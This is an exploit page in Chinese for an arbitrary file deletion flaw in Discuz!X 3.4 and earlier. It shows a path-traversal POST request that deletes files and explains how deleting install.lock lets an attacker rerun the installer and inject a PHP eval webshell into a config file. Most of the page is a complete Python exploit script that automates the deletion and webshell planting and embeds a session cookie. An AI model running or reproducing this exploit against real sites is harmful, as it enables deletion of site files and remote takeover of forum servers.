Discuz!X_≤3.4_任意文件刪除漏洞

# Discuz!X ≤3.4 任意文件刪除漏洞
==獲得用戶Hash==
在個人資料頁面 -> 審查元素 -> 搜索formhash
[[檔案:Dz1.jpg |400px]]
==漏洞利用==
發送請求(XXXXXX表示Hash)

home.php?mod=spacecp&ac=profile&op=base
POST birthprovince=../../../test.txt&profilesubmit=1&formhash=XXXXXX

*也可以使用Burp抓包,在birthprovince處加入../../../test.txt

修改成功之後出生地就會變為../../../test.txt
[[檔案:Dz2.jpg |400px]]

構造表單:

選擇隨便一張圖片上傳,點擊submit,可以發現原本的theTestFile.txt已經被刪除。

==Getshell==
首先構造payload刪除install.lock

[[檔案:Dz3.jpg |400px]]

如果用戶沒有刪除 install 目錄,而且我們也可以利用文件刪除漏洞的話,我們就可以刪掉這個 instal.lock,然後重新安裝 Discuz。而重裝過程中一般都有寫配置文件的步驟,可能會給我們寫入一句話的機會。

[[檔案:Dz4.jpg |400px]]

x');@eval($_POST[pwd]);('

config/uc_config.php文件中將存在一句話木馬。

==Getshell EXP==

#!/usr/bin/env python3
import base64
import random
import re
import string


import requests

sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))

##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'

# login target site first, and copy the cookie here

cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################

path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})

# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
    sess.headers.update({'Cookie': cookie})


def get_form_hash():
    r = sess.get(url)
    match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
    if match:
        return match.group(1)


def tamper(formhash, file_to_delete):
    data = {
        'formhash': (None, formhash),
        'profilesubmit': (None, 'true'),
        'birthprovince': (None, file_to_delete)
    }
    r = sess.post(url, files=data)
    if 'parent.show_success' in r.text:
        print('tamperred successfully')
        return True


def delete(formhash, file):
    if not tamper(formhash, file):
        return False

    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
    data = {
        'formhash': formhash,
        'profilesubmit': 'true'
    }
    files = {
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
    }
    r = sess.post(url, data=data, files=files)
    if 'parent.show_success' in r.text:
        print('delete {} successfully'.format(file))
        return True


def getshell():
    install_url = target + '/install/index.php'
    r = sess.get(install_url)
    if '安装向导' not in r.text:
        print('install directory not exists')
        return False

    table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
    data = {
        'step': 3,
        'install_ucenter': 'yes',
        'dbinfo[dbhost]': db_host,
        'dbinfo[dbname]': db_name,
        'dbinfo[dbuser]': db_user,
        'dbinfo[dbpw]': db_pw,
        'dbinfo[tablepre]': table_prefix,
        'dbinfo[adminemail]': 'admin@admin.com',
        'admininfo[username]': 'admin',
        'admininfo[password]': 'admin',
        'admininfo[password2]': 'admin',
        'admininfo[email]': 'admin@admin.com',
    }
    r = sess.post(install_url, data=data)
    if '建立数据表 CREATE TABLE' not in r.text:
        print('write shell failed')
        return False
    print('shell: {}/config/config_ucenter.php'.format(target))
    print('password: {}'.format(shell_password))


if __name__ == '__main__':
    login()
    form_hash = get_form_hash()
    if form_hash:
        delete(form_hash, '../../../data/install.lock')
        getshell()
    else:
        print('failed')

==參考==
https://fafe.me/2017/10/02/discuz-getshell/
https://chybeta.github.io/2017/10/15/DiscuzX-v3-4-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%88%A0%E9%99%A4%E6%BC%8F%E6%B4%9E/

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容